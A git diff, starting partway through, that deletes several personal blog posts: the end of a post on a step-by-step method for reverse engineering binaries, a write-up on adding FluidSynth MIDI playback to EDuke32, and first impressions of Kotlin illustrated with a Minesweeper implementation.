-the subsequent burnout was bad enough that I went home early. This wasn't the -first time a reversing task had gotten the best of me; there had been a few -competitions last year where I felt a similar loss in motivation. Noticing this -recurring pattern frustrated me, and that frustration drove me to think about -ways to improve myself as a reverse engineer. - -My initial idea was to work on expanding my skill set, but with some further -reflection, I came to the realization that the weakness was my process. I was -going at the task of reverse engineering without a plan: beginning by opening -the binary in radare, propagating from the entrypoint, and renaming a few -variables as I went along. I was trying to make sense of the program by -passively reading the disassembly listing. This /might/ work for someone who -lives and breathes assembly, but that certainly doesn't apply to me. What I -needed was a way to engage with the binary at hand beyond trying to passively -absorb it. - -With that, my first step was to come up with a more formally-defined idea of -what's involved in "reverse engineering." I still don't think I have anything -close to a complete description, but pondering on how reverse engineering tools -are designed certainly helped to solidify my existing understanding. Namely, I -was reminded of software suites advertised as "decompilers." They serve as a -stepping stone in an *iterative* process of turning machine code into something -that would be easier for a human to understand. They give an obviously -machine-generated C/C++ representation of the machine code, and the reverse -engineer continues by filling in the blanks with semantics. - -Now, I have a few issues with the idea of automated decompilation. For one, the -tooling simply isn't accessible. The only working decompiler I've used, IDA Pro, -is ridiculously expensive. Also, when I say, "working," I mean that it doesn't -segfault upon opening the binary. Even IDA Pro doesn't work perfectly in every -situation - especially those in which the binary has been intentionally -obfuscated. Because of this, there are arguments against the use of decompilers: -notably, [[https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/][this article]]. - -But the goal wasn't to have a program to do the work for us anyway, it was to -come up with a more effective methodology for reverse engineering a binary. -Unlike software, human reversers can adapt to the situation at hand - they don't -need rules defined in the same way that a computer would. As such, I've come up -with a protocol in a similar vein to [[https://en.wikipedia.org/wiki/SQ3R][SQ3R]] for reverse engineering machine code -to higher-level constructs. The protocol is still in its infancy, and I have -hopes to expand upon it in the future, but I have found it to still be quite -useful in its current state. - -I'd consider subroutines to be the fundamental atoms of a binary, and that's -what this protocol focuses on. However, being able to understand the subroutines -that compose a program doesn't necessarily imply an understanding of the whole -program. These are things that I hope to incorporate into the protocol in the -future, but for now, they are given as a handful of necessary precursors. - -For one, you should get a high-level understanding of what the program does. I -would recommend initially treating it as a black box: What does this program do? -Is it a web server? A crypto algorithm? I find that it's useful to copy down any -text that the program outputs, as you can use the string references later on -when you look at the machine code. You should also test plenty of inputs. What -does the program do for typical edge cases? What error handling does it do? This -might all seem extremely mundane, but if you understand the program at this -level, it gives you things to recognize in the disassembly listing. This is -absolutely essential when it comes to something more complicated than the toy -programs you might see in a capture-the-flag. I've been working a lot with the -Team Fortress 2 binaries recently, and understanding how and where certain -string references are used has given me a way to find just the functionality I'm -interested in, as opposed to trying to understand the entire 33 MB shared -object. - -That brings me to another point: you might not even need to reverse all of the -subroutines in the binary. In a binary exploitation challenge, it might make -sense to audit the seemingly mundane input-handling functions, but if you can -tell from the usage alone that all a subroutine does is print something, it -probably isn't worth your time to disassemble it. Remember, you can always come -back to something later, but if you waste your time on it, those are valuable -competition minutes that you'll never get back. - -Finally, this is more general, and it's something that I think every reverse -engineer knows, but it's worth mentioning regardless. If you don't know the ISA, -the architecture's calling conventions, or the quirks of the language design and -the compiler, it might be in your best interest to create a "lexicon" of -high-level constructs and how they're represented in assembly. There's -absolutely no shame in doing this, and it's been especially helpful for me when -I've looked at any binaries that were compiled with MSVC. One tool that I've -found useful for creating these lexicons is the [[https://godbolt.org/][Godbolt Compiler Explorer]]. - -Hopefully that wasn't too long of an introduction. Now we can get into the -protocol itself. It's composed of five steps and make up a mnemonic: "SCARS." -The first step is to "skim," or "scan." The premise is to first get an idea -which memory addresses the subroutine spans, or how long it is. I usually look -for the typical "function epilogue," which might include a stack canary check, -or it might just be a =pop %rbp; ret.= Then, get context. See where the -subroutine is called and how it's called - figure out if there are any arguments -to the subroutine, and see if it returns anything. Finally, look over the -disassembly listing for the routine, paying attention to the use of stack -variables and global variables. Do any of those variables look like they might -be classes/structures? - -The second step is to "chunk." The first step should have given you a rough idea -of the control flow, but now you need to break the subroutine into smaller sets -of instructions that you can analyze. I usually separate based on whether or not -a set of instructions are skipped by a conditional jump. - -The third step is "arrange." Simply put, this involves taking your findings -about stack variables and such from the first step, and converting them to -declarations in the high-level language. I also like to make stubs for any other -subroutines that are called, since I'll probably be reversing those later -anyway. This third step also ties in with the fourth step, which is to -"recognize." This involves looking back on your lexicon of patterns, and -converting them to the high-level constructs that they represent. These two -steps are done simultaneously and are basically where you try to manually -decompile the chunks of machine code you plotted out in the previous step. - -The final step is to "simplify," which entails simplifying the resultant code -into something perhaps more understandable. For example, =1 << 4= is equivalent -to =1 * 2^4=, or just =4=. This also might be where you replace magic numbers -with constants. Whenever I see 0 passed to =read(3)=, I replace that with -=STDIN_FILENO=. - -I spent a little under twenty minutes last night reversing the binary from the -challenge I mentioned at the beginning of this post. That's not a lot of time -compared to how much I spent during the competition, and I got surprisingly far -(almost all of main!) If this were the competition, however, I would have done -it differently. Instead of starting at main, I would have probably started at -one of the functions for handling input and went backwards by checking for -XREF's. I only did it this way to test out the protocol for something I had -difficulty with in the past. Here are a few of the highlights. If you want to -look on with me, all of the files for the challenge can be found [[https://github.com/DhavalKapil/ctf-writeups/tree/master/insomni-hack-18/sapeloshop][here]]. - -The most useful part about rewriting the program in C is the malleability of -text. When I was obtusely reading disassembly listings, keeping track of how -values were being juggled across registers was difficult for me. But by -representing these instructions in C, I can convert a few of them into an -expression, comment which register they're in, and come back to use that -expression later. This is more useful when the juggling spans a large number of -instructions, but here's a smaller example where I still used it. The -disassembly at =0x1e15= is - -#+BEGIN_SRC asm -0x00001e15 488d8550b7ff. leaq -0x48b0(%rbp), %rax -0x00001e1c 488d90080400. leaq 0x408(%rax), %rdx -0x00001e23 488b8540b7ff. movq -0x48c0(%rbp), %rax -0x00001e2a 488d35bf0800. leaq str.User_Agent:__128, %rsi ; 0x26f0 ; "User-Agent: %128[^\r\n]\r\n" -0x00001e31 4889c7 movq %rax, %rdi -0x00001e34 b800000000 movl $0, %eax -#+END_SRC - -I had previously made a variable for =-0x48b0(%rbp)= during my "arrange" step, -temporarily named =local_48b0= until I figured out its usage and a better name -for it. Just from these six instructions, I can tell that it's a buffer of some -sort, so I started off with: - -#+BEGIN_SRC c -((void *) local_48b0); // rax -#+END_SRC - -Then, I handled the pointer arithmetic in the second instruction, and the third -instruction, since it replaced the value in =%rax=: - -#+BEGIN_SRC c -(void *) (((char *) (local_48b0)) + 0x408); // rdx -*((uint64_t *) local_48b0); // rax -#+END_SRC - -Ew. It's starting to look like some system programmer's personal Lisp dialect -now. Don't worry. It's gross now, but as you understand more of the subroutine, -you'll be able to declare variables in such a way that you won't need casts like -these. That's where the "simplify" step comes into play. - -Also, I should mention that you don't necessarily have to reverse the chunks you -came up with in a linear fashion. I saw a chunk with two calls to some -=__errno_location=, which I didn't want to deal with at the time, so I just went -on to the next chunk. Again, you can come back to stuff later, but this does -mean you need to keep track of which chunks you've covered. - -One thing I've done in the past with this protocol is to keep a little ASCII -drawing of the stack layout. It doesn't make a whole lot of sense here, since -there aren't any pushes or pops that would change the size of the stack frame, -but maybe you'll find it useful for 32-bit binaries. - -Oh, and one last thing. Not everything is worth adding into your decompilation. -For example, if I saw a timer being set up with =alarm(3)=, I would probably -ignore it. In fact, I'd patch it out, but that's a topic for another day. - -Any questions about things I mentioned in this post, or suggestions on how to -make it better? Both would be greatly appreciated. Contact info is on my -[[http://jakob.space][homepage]]. diff --git a/posts/Duke on Fluidsynth/duke-on-fluidsynth.org b/posts/Duke on Fluidsynth/duke-on-fluidsynth.org deleted file mode 100644 index 2474cbb..0000000 --- a/posts/Duke on Fluidsynth/duke-on-fluidsynth.org +++ /dev/null @@ -1,179 +0,0 @@ -#+TITLE: Duke on Fluidsynth -#+DATE: <2018-01-13 Sat 21:10> -#+TAGS: writeup, programming, video-games, audio, c++ - -My first experiences with Duke Nukem 3D were with EDuke32 ages ago. This was -back when I was running Windows Vista, and while my memory is a bit lacking, I -swear that I had working music then. Ever since I made the switch to Linux, I -haven't had working music playback in EDuke. Frustrated at the fact that my past -few years of Duke 3D have been devoid of all sound besides the screams of death -and Duke's trash talking, I've finally decided to troubleshoot it. - -My first hypothesis was that there was a build flag for music support, and that -the binaries for EDuke in my distribution's package repository were compiled -without it. This led me to look at the [[http://wiki.eduke32.com/wiki/Building_EDuke32_on_Linux][Linux build instructions]], which -specifically mention an =EDUKE32_MUSIC_CMD= environment variable for specifying -an external MIDI player to use. This tipped me off on the issue: my version of -EDuke couldn't play MIDI. This made sense, since all of the other game sounds -were working just fine. I set the TiMidity++ command-line tool as the external -MIDI player, as I've had luck using TiMidity++ with QZDoom, and it worked on the -first try. This victory was short-lived, however, as the game froze the second I -started up the first episode. I figured that EDuke was waiting on the TiMidity++ -process to die off, which is when I decided to crack open the source code. - -The code revealed that on Linux platforms, EDuke uses SDL2_Mixer for music -output. I'm mildly familiar with it; it's a wrapper around the SDL audio module, -providing loaders for several sound formats such as OGG and MIDI. Unfortunately, -it seems incapable of playing MIDI on my system. Some further research revealed -that for MIDI playback, SDL2_Mixer can use either FluidSynth, or an internal -version of TiMidity. This reminded me of an issue I had when I first installed -GZDoom on my machine: soundfonts. - -You're supposed to be able to specify a default soundfont for FluidSynth in -=/etc/conf.d/fluidsynth=, but in my experiences with the command-line tool, this -is ignored entirely. Similarly, a default soundfont can be specified in -=/etc/timidity++/timidity.cfg=, but the only things I've used that have -respected that are QZDoom and the TiMidity++ command-line tool. Compiling -SDL2_Mixer from source and forcing it to use the internal version of TiMidity -has the same issue as before. - -I suspect that the reason for this is the fragmentation of TiMidity releases. -SDL2_Mixer has an internal version of TiMidity. So does QZDoom. It seems to be -one of those libraries that just gets copied into version control because it's -small enough, like that Vorbis decoder by RAD Game Tools. This has the -consequence that it will almost never be updated, and you may have several -programs using different, incompatible versions of it. In the case of QZDoom, -the copyright header in =timidity.cpp= is dated 1995. - -I looked at [[http://libtimidity.sourceforge.net/][libTiMidity]] in hopes of debugging the issue, which is when I -realized that some versions of TiMidity literally do not support specifying a -default soundfont, which would explain why SDL2_Mixer is dead silent. - -#+CAPTION: This is a pretty overdue feature, guys. -#+BEGIN_SRC c :hl_lines 0 -else if (!strcmp(w[0], "soundfont") || - !strcmp(w[0], "font")) -{ - /* "soundfont" sf_file "remove" - * "soundfont sf_file ["order=" order] ["cutoff=" cutoff] - * ["reso=" reso] ["amp=" amp] - * "font" "exclude" bank preset keynote - * "font" "order" order bank preset keynote - */ - DEBUG_MSG("FIXME: Implement \"%s\" in TiMidity config.\n", w[0]); -} -#+END_SRC - -Alright, so TiMidity isn't the way to go at all, and FluidSynth has issues -specifying a default soundfont via configuration files, but perhaps the -FluidSynth /API/ exposes a means of specifying a soundfont. Fortunately, this -was easy to check as FluidSynth has the best documentation I've ever seen from a -library written in C. The developer documentation is rich with examples, and one -of them even involves what we're looking for. Loading a soundfont with -FluidSynth turns out to be as easy as calling =fluid_synth_sfload=. - -Writing a drop-in replacement for the SDL2_Mixer MIDI driver is uncomplicated -because Duke3D maintains a structured API for its music drivers. There are two -drivers in the source tree, currently: the original Apogee Sound System -implementation (=source/duke3d/src/music.cpp=), and the reimplementation using -SDL2_Mixer (=source/duke3d/src/sdlmusic.cpp=). To make things simple, we'll just -replace =sdlmusic.cpp= and define the following routines: - -- =const char *MUSIC_ErrorString(int32_t ErrorNumber)= -- =int32_t MUSIC_Init(int32_t SoundCard, int32_t Address)= -- =int32_t MUSIC_Shutdown(void)= -- =void MUSIC_SetVolume(int32_t volume)= -- =int32_t MUSIC_GetVolume(void)= -- =void MUSIC_SetLoopFlag(int32_t loopflag)= -- =void MUSIC_Continue(void)= -- =void MUSIC_Pause(void)= -- =int32_t MUSIC_StopSong(void)= -- =int32_t MUSIC_PlaySong(char *song, int32_t loopflag)= -- =int32_t MUSIC_InitMidi(int32_t card, midifuncs *Funcs, int32_t Address)= -- =void MUSIC_Update(void)= - -The names are very descriptive in this case, and the routines themselves are -quite simple. Routines that return an =int32_t= are just returning an error code -(=MUSIC_Ok= or =MUSIC_Error=), with the exception of =MUSIC_GetVolume=, which -returns the volume on a scale of 0 to 255. In our case, most of these will be -stubs. For example, =MUSIC_Update= and =MUSIC_Continue= are irrelevant for -FluidSynth. - -Also, it's worth mentioning that the "song" parameter to =MUSIC_PlaySong= isn't -a filename, it's a pointer to an in-memory version of the MIDI file. FluidSynth -supports reading MIDI files from memory, but unlike SDL2_Mixer's in-memory MIDI -loader, the file's size has to be explicitly specified. I dug up a [[https://github.com/colxi/midi-parser-js/wiki/MIDI-File-Format-Specifications][specification -of the format]] and hacked together a little routine to figure out the size. It -isn't particularly important, but I wanted to mention it because it worked on -the first try, which warranted some celebration. - -#+BEGIN_SRC c :hl_lines 0 -char *tracks; -size_t file_size; -uint16_t num_tracks; - -tracks = song + 0x14; -num_tracks = *((uint16_t *) (song + 0x10)); -file_size = 0x14; // Size of the MIDI header. - -while (num_tracks--) { - uint16_t track_size; - - if (!memcmp(tracks, "MTrk", 4)) { - break; - } - - track_size = *((uint16_t *) (tracks + 0x04)); - file_size += track_size + 0x08; - tracks += track_size + 0x08; -} -#+END_SRC - -This all ended up being simple enough that I was able to get MIDI playback -working in under an hour on a Friday night. Yeah. I had some friends who wanted -to go out that night, but I stayed home and wrote a MIDI driver instead. (That -isn't the real reason, I'm not that much of a loser). - -Unfortunately, because I was just hacking it together quickly, the initial -implementation had a few issues: - -- No error reporting (=MUSIC_ErrorString= just returns "Nothing to see here...") -- Doesn't use modern C++, and only loosely follows the EDuke32 code style. -- Directly includes the FluidSynth headers, which seems to be a taboo in the - EDuke codebase. -- =MUSIC_StopSong will= shutdown and reinitialize the entire audio driver just - to flush whatever's currently playing out of the player. -- Replaces =sdlmusic.cpp=, instead of being an independent source file that can - be included at compile time. -- No volume controls. -- Soundfont and audio backend are hardcoded to my system. - -The first three were quite easy to fix, and as I don't have any plans to push -this upstream, they were really non-issues. The thing with =MUSIC_StopSong= is -also kind of a non-issue, as reinitializing the audio system is the only way to -flush the FluidSynth player right now. That fifth issue is also something I'm -not going to deal with unless someone confronts me about getting this included -upstream, because this is a lot easier to maintain as a drop-in replacement. - -Volume controls were extremely trivial to implement, as the only thing the -driver has to do is expose MUSIC_SetVolume. The routine receives a number on the -interval [0, 255], where 0 is the quietest, and 255 is the loudest. FluidSynth -provides a 'synth.gain' setting, which is essentially volume, but it instead -accepts numbers on the interval [0.0, 10.0]. - -The naive approach (which is what I did the first time around) is to multiply -the parameter by some scalar (10.0 / 255) to fit on the interval of [0.0, -10.0]. This was quite painful for my poor little ears. So I instead scaled the -number to fit on the interval of [0.0, 1.0]. - -Finally, specifying the soundfont is something I'll address in the future. My -patch adds some stuff to the EDuke options menu for specifying an audio backend -(alsa, pulse, etc), but I have yet to figure out how to make an option that's -stored as a string. - -If you want to check out my patchset, you can view the repository [[https://github.com/TsarFox/duke-on-fluidsynth][here]], and -here's a demo video: - -#+BEGIN_EXPORT html -<iframe class="peertube" width="560" height="315" sandbox="allow-same-origin allow-scripts" src="https://pe.ertu.be/videos/embed/136f144e-f089-4486-bc51-4e10233bcfcd" frameborder="0" allowfullscreen></iframe> -#+END_EXPORT diff --git a/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org b/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org deleted file mode 100644 index 75b7438..0000000 --- a/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org +++ /dev/null @@ -1,494 +0,0 @@ -#+TITLE: First Impressions of the Kotlin Programming Language -#+DATE: <2018-12-17 Mon> -#+TAGS: opinion, programming, java, kotlin, android - -In the introduction of the previous post I wrote for this series, [[http://jakob.space/posts/first-impressions-of-the-rust-programming-language/][First -Impressions of the Rust Programming Language]], I alluded to the presence of -arguments that programming language safety should be achieved by moving to -languages such as Java which run on a virtual machine. While "safety" may no -longer be the first thing that comes to mind in discussion of these languages, -especially with the hundreds[fn:1] of vulnerabilities in various implementations -of the Java virtual machine, it would be unfair to deny that the principle of -running programs in a sandboxed virtual machine is safer than running machine -code directly. This post won't be making any claims about safety, though, as I'm -more interested in writing about my impressions from a language design -perspective. So, how does Java fare in this regard? - -My first run-in with Java was when I was 16 and still in high school; I had -enrolled in AP computer science, of which the curriculum was and still is taught -using Java. I already knew Python and C at that point, but enrolled anyway as I -was never given a formal computer science education, and because the idea of -university credits was enticing to me. The portion of the class that regarded -concepts of computer science -- algorithm design and data structures -- was a -blast, but I quickly became frustrated with the programming assignments because -of Java's horribly unwieldy nature. Despite my distaste for the way the course -was taught, my grades stood out enough that the teacher approached me about -working as a teaching assistant the following year. I took him up on the offer, -and suffered. The position involved troubleshooting students' issues during lab -periods, and nearly every time I sat down to help a student, the issue was with -one of Java's numerous pitfalls rather than a conceptual misunderstanding of -computer science. At of the time of writing this, I have just completed my first -semester of university, and Java is apparently inescapable; I have been forced -to use it once more in my introductory data structures course. It has not grown -on me at all in these past three years, and I am not exaggerating when I say -that the language has literally given me nightmares. - -Refusing to use Java outside of my coursework would seemingly prevent me from -programming for any platform which makes use of Java, such as Android, but it -turns out that there's an alternative: using a language that compiles down to -the same bytecode as Java does. For those not in the know, Java works by -compiling source code ahead of time into a Java class file, which is a container -format for JVM bytecode. Bytecode is comparable to assembly, but it doesn't run -on actual hardware.[fn:2] Instead, it runs on an abstract machine implemented in -software. JVM bytecode as a compiler target is not a new concept; there are -plenty of languages targeting the JVM specifically, such as Groovy, Scala, and -Clojure (the latter of which I hope to cover in a future post), but Kotlin was -the first I heard of. - -While targeting Android is what I ended up using Kotlin for, my initial reason -for learning it was not nearly as practical. For context, I go between phases of -absolutely hating everything related to Java and phases of almost being able to -tolerate it, but that tolerance is mostly out of curiosity about the -implementation -- the most recent case of piqued interest coming about through -obtaining the J2ME JAR for [[https://en.wikipedia.org/wiki/Doom_RPG][Doom RPG]] and having an inclination to indulge in some -retro Java (circa JRE 1.3) reverse engineering. Really, I wanted to learn Kotlin -so that I could compare the bytecode generated by the Kotlin compiler to the -bytecode generated by past and present Java compilers,[fn:3] but I won't be -talking about that much in this post. - -Throughout this post, I'll be treating Kotlin as a language that only runs on -the JVM, but it's worth noting that the compiler has recently gained support for -targeting Javascript and LLVM as well, so this perspective doesn't fully -represent the language. - -As my first foray into writing nontrivial[fn:4] Kotlin, I decided to write a -version of Minesweeper, my favorite logic puzzle. The code is available on -[[https://git.sr.ht/~jakob/mines][sr.ht]]. Implementing Minesweeper might be a bit redundant as [[https://f-droid.org/en][F-Droid]] already has -a [[https://f-droid.org/en/packages/csd.qtproject.minesweeper][GPLv3'd implementation of Minesweeper]] in its repositories, but that one's -implemented in C++, QML, and Javascript. - -For the purposes of illustration, here's a simplified implementation of the -Minesweeper logic sans Android API: - -#+BEGIN_SRC kotlin :hl_lines 0 -data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) - -/** - * The Minesweeper "grid", containing instances of [Tile]. - */ -class Grid(val width: Int, val height: Int, val tiles: Array<Tile>) { - constructor(width: Int = 8, height: Int = 8, mines: Int = 10) - : this(width, height, Array<Tile>(width * height) { Tile() }) { - for (i in 0 until mines) { - val x = (0 until width).random() - val y = (0 until height).random() - placeMine(x, y) - } - } - - private fun index(x: Int, y: Int) = y * width + x - private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width - private fun place(x: Int, y: Int, tile: Tile) { - tiles[index(x, y)] = tile - } - - /** - * Returns the tile at the given coordinates. - * - * @throws IllegalArgumentException if the X coordinate is outside - * the range of [0, width), or if the Y coordinate is outside the - * range of [0, height). - */ - operator fun get(x: Int, y: Int) = if (valid(x, y)) { - tiles[index(x, y)] - } else { - throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") - } - - /** - * Places a mine at the given coordinates. - * - * @throws IllegalArgumentException if the X coordinate is outside - * the range of [0, width), or if the Y coordinate is outside the - * range of [0, height). - */ - fun placeMine(x: Int, y: Int) { - if (!valid(x, y)) { - throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") - } - - if (this[x, y].mine) { - return; - } - - place(x, y, Tile(mine = true)) - - val xMin = (x - 1).coerceAtLeast(0) - val xMax = (x + 1).coerceAtMost(width - 1) - val yMin = (y - 1).coerceAtLeast(0) - val yMax = (y + 1).coerceAtMost(height - 1) - - for (y in yMin..yMax) { - for (x in xMin..xMax) { - with (tiles[index(x, y)]) { - if (!mine) { - place(x, y, copy(adjacentMines + 1)) - } - } - } - } - } - - /** - * Reveals a tile at the given coordinates according to the game rules. - * - * @throws IllegalArgumentException if the X coordinate is outside - * the range of [0, width), or if the Y coordinate is outside the - * range of [0, height). - */ - fun reveal(x: Int, y: Int) { - if (!valid(x, y) || !this[x, y].masked) { - return; - } - - with (this[x, y]) { - place(x, y, copy(masked = false)) - - if (!mine && adjacentMines == 0) { - val xMin = (x - 1).coerceAtLeast(0) - val xMax = (x + 1).coerceAtMost(width - 1) - val yMin = (y - 1).coerceAtLeast(0) - val yMax = (y + 1).coerceAtMost(height - 1) - - for (y in yMin..yMax) { - for (x in xMin..xMax) { - reveal(x, y) - } - } - } - } - } - - override fun toString() = buildString { - for (y in 0 until height) { - for (x in 0 until width) { - val tile = this@Grid[x, y] - append(when { - tile.masked -> "." - tile.mine -> "M" - tile.adjacentMines == 0 -> " " - else -> tile.adjacentMines.toString() - } + " ") - } - append("\n") - } - } -} - -fun main(args: Array<String>) { - val grid = Grid() - - for (i in 0 until 9) { - val x = (0 until 8).random() - val y = (0 until 8).random() - grid.reveal(x, y) - println(grid) - } -} -#+END_SRC - -And just within the first line, we're introduced to a feature that provides -massive gains in readability over Java. Data classes. - -#+BEGIN_SRC kotlin :hl_lines 0 -data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) -#+END_SRC - -In Java, if you want to group a few related values together, you'd probably -write a full implementation of a class with "getter" and "setter" methods, and -potentially other methods for things like testing for equality. That's a whole -new file (assuming that you want to use this structure between classes) and -several lines of code for something that should really be expressed in one line. -Kotlin allows for structures to be declared this way. Here, we define a =Tile= -structure, which acts as an immutable container for the information we want to -associate with a tile in the Minesweeper grid. The compiler automatically -derives methods to check for equality (=equals=), to create a unique hash code -(=hashCode=), to provide a string representation (=toString=), and to make a -copy of the structure. That last point on making copies brings me to another -feature of Kotlin that makes programming with immutable data structures a -breeze: named and optional parameters. Notice that there are default values in -the above declaration -- =adjacentMines= is 0, =mine= is false, and =masked= is -true. If I wanted to create a tile that was a mine, but was still masked, I -could simply call =Tile(mine = true)=. Java only supports positional -overloading, so in Java, it would be =new Tile(0, true)=, assuming that I had an -overloaded constructor with a default =masked= value. Returning to the point on -the automatically-generated =copy= method, the named and optional parameters -really shine here. Take a look at how it's used in the =reveal= method: - -#+BEGIN_SRC kotlin :hl_lines 0 -with (this[x, y]) { - place(x, y, copy(masked = false)) -#+END_SRC - -I should probably explain the =with= statement to fully unpack what's happening -here. =with= essentially allows us to run a block of code in the scope of an -object. =copy= is a method of =this[x, y]=, but we don't need to write =this[x, -y].copy= since we are in the class scope of =Tile= (the type of =this[x, y]=). - -The code for initializing a new =Grid= object does a nice job of illustrating -Kotlin's ranges. - -#+BEGIN_SRC kotlin :hl_lines 0 -for (i in 0 until mines) { - val x = (0 until width).random() - val y = (0 until height).random() - placeMine(x, y) -} -#+END_SRC - -Kotlin is similar to Python in that there are no longer C-styled for loops -(initialization + condition + afterthought). Instead, there are iterator-based -for loops, and enumeration is done with ranges. =a..b= represents the range of -integers from [a, b], and =a until b= represents the range from [a, b). Ranges -are also objects, which is why we can write something like =(0 until -width).random()=, which picks a random integer in the range [0, width). - -Another big feature is type inference, which eliminates another pain in reading -and writing Java. Take this facetious example: - -#+BEGIN_SRC java :hl_lines 0 -InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState myState = new InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState(); -#+END_SRC - -The class name shows up twice on the same line, which I personally think is -absurd. Is the type of =myState= really not obvious from the rvalue? - -#+BEGIN_SRC kotlin :hl_lines 0 -val myState = InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState() -#+END_SRC - -Ah, much better. Of course, sometimes variables /need/ type information, such as -in the case of function parameters and return values. Actually, the type of a -return value can be inferred, too. This can be seen in the definitions of -=index= and =valid=. - -#+BEGIN_SRC kotlin :hl_lines 0 -private fun index(x: Int, y: Int) = y * width + x -private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width -#+END_SRC - -Functions can be written this way if their body is a single expression, and the -compiler can infer the type of the return value from that expression. -Expressions are a big thing in Kotlin. =if= is an expression (which you can see in -the implementation of =get=), much like it is in Rust, as is =when= -- Kotlin's -replacement to Java's =switch= (which is sadly lacking in the way of -pattern-matching). Assignment, fortunately, is not an expression like it is in C -and Java.[fn:5] Here's an example of =when= used as an expression: - -#+BEGIN_SRC kotlin :hl_lines 0 -override fun toString() = buildString { - for (y in 0 until height) { - for (x in 0 until width) { - val tile = this@Grid[x, y] - append(when { - tile.masked -> "." - tile.mine -> "M" - tile.adjacentMines == 0 -> " " - else -> tile.adjacentMines.toString() - } + " ") - } - append("\n") - } -} -#+END_SRC - -This is yet another example of a function body being written as a single -expression. =buildString= is a function in the Kotlin standard library that takes -a lambda as a parameter,[fn:6] executes it in the context of a Java StringBuilder, -and returns the result of building that string. Kotlin provides a number of -facilities to make working with strings more pleasant, including string -interpolation: - -#+BEGIN_SRC kotlin :hl_lines 0 -val myNum = 7 -return "myNum is ${myNum}" // --> "myNum is 7" -#+END_SRC - -One last feature from the example above -- Kotlin supports operator overloading. -I'm sure that there was some rationale behind omitting operator overloading -from Java, but I'm a proponent of languages that offer support for it. Where the -operator overloading occurs in the example might not have been obvious, though. - -#+BEGIN_SRC kotlin :hl_lines 0 -operator fun get(x: Int, y: Int) = if (valid(x, y)) { - tiles[index(x, y)] -} else { - throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") -} -#+END_SRC - -=get= corresponds to the indexing notation, which is why =this[x, y]= has shown -up a few times in the code. Yes, the indexing notation can take multiple -parameters. The names that Kotlin associates with different operators tends to -draw parallels with the conventions of the Java standard library. In the case of -=get=, this means that you can use indexing notation on a =Map=. Pretty neat. - -There are a few other features that I think are worth mentioning, but don't -appear in the Minesweeper example. - -* Explicit type conversion - -Kotlin lacks implicit type coercion, which I think is a huge benefit in terms of -readability. While it isn't as much of an issue in Java, having to explicity -mark type conversion is an excellent way of avoiding issues with [[https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf][type juggling]]. -Again, my opinions here have largely been shaped by my experience as a teaching -assistant. - -* Explicit nullability - -This is probably the crowning feature of Kotlin: a solution to "The Billion -Dollar Mistake" that is =null=. I'm actually not a fan of explicit nullability as -a solution, since I prefer the use of an =Option= type like in Rust.[fn:7] That -said, it does put the type system to work enforcing null safety at compile time, -and it is a lot more pleasant than dealing with =null= Java, so I'd call it a win. - -Basically, a variable can be =null= if its type is suffixed with a =?=. For -example, =Int?= can be =null=, but =Int= can't. An expression of type =Int?= -must be checked for =null= before it can be used, which can be done in a number -of ways. The most simple being to make use of another Kotlin feature: "smart -casts". - -#+BEGIN_SRC kotlin :hl_lines 0 -val myNum: Int? = null - -if (myNum != null) { - println("${myNum + 4}") // myNum has been casted from Int? to Int at this point. -} -#+END_SRC - -There are other ways, too. Kotlin has a null-coalescing operator, a "not null" -assertion, and so on. Explicit nullability is definitely a pain when starting -out, though. In Jouri Mamaev's [[https://kukuruku.co/post/why-kotlin-sucks/]["Why Kotlin Sucks"]], the following issue is -described as a "histerically-useless war with nullable." - -#+BEGIN_SRC kotlin :hl_lines 0 -var value : Int? = null - -fun F() : Int { - if (value != null) return 0 - return value // Compiler error: "Smart cast to 'Int' is impossible, because 'value' is a mutable property that could have been changed by this time" -} -#+END_SRC - -Mamaev goes on to show an example using the aforementioned "not null" assertion, -but the way I prefer to deal with this issue (other than not having variables -that are both nullable and mutable) is: - -#+BEGIN_SRC kotlin :hl_lines 0 -var value : Int? = null - -value?.let { - it.something() -} -#+END_SRC - -=let= will capture =value= and pass it to a lambda, allowing you to run some -code without having to worry about the value changing from under you. I have no -idea if this is idiomatic or not, but it works for me. - -Of course, Kotlin was meant to interoperate with existing Java code, which has -little notion of explicit nullability, so the benefits of explicit nullability -go out the window more often than not. - -* No more checked exceptions - -I'm sorry, but I really don't want to write about how much I hate checked -exceptions in Java. If you aren't familiar with them, but still want to know -what they are, I'd suggest looking for an article elsewhere. Otherwise, all you -need to know is that they aren't an issue in Kotlin. - -* == for value equality as opposed to reference equality - -This comes back to the operator overloading feature, ==== calls out to =equals=. -I do have a slight problem with this, though. ===== is used for reference -equality. I'm thankful that the operator exists, but this is completely -orthogonal to what Javascript does and I think that this might be a barrier for -anyone coming from there. Again, this is a slight problem; I think the gains in -clarity from using ==== for value equality outweigh the awkward ===== operator. - ---- - -Whew, listing all of the features that make Kotlin a better choice than Java is -exhausting. This is one of the complaints that I have about the language: it's -massive in scope. Of course, this is a consequence of Java having an absurd -number of warts that Kotlin tries to mend, but learning the ins and outs of -Kotlin is a significant undertaking. This is a _shortened_ list of the features -I enjoyed but didn't mention in this post: - -- Lambdas having access to variables that are not final. -- Classes and methods being final by default. -- Inner classes being static by default. -- Properties (declaring 'get' and 'set'). -- Unpacking. -- Spreading. -- Collection literals. -- Common I/O functions such as =println= being included in the prelude. -- Top-level visibility. -- Module visibility. -- Named imports. -- Infix functions. -- Nested functions. -- Decorator classes with =by=. -- Anonymous objects being able to implement multiple interfaces. -- Immutable collections. -- Lazy evaluation. -- =with= and =apply= expressions. -- Safe type casting. -- Lazy member initialization. -- Function inlining. -- Support for DSL creation. 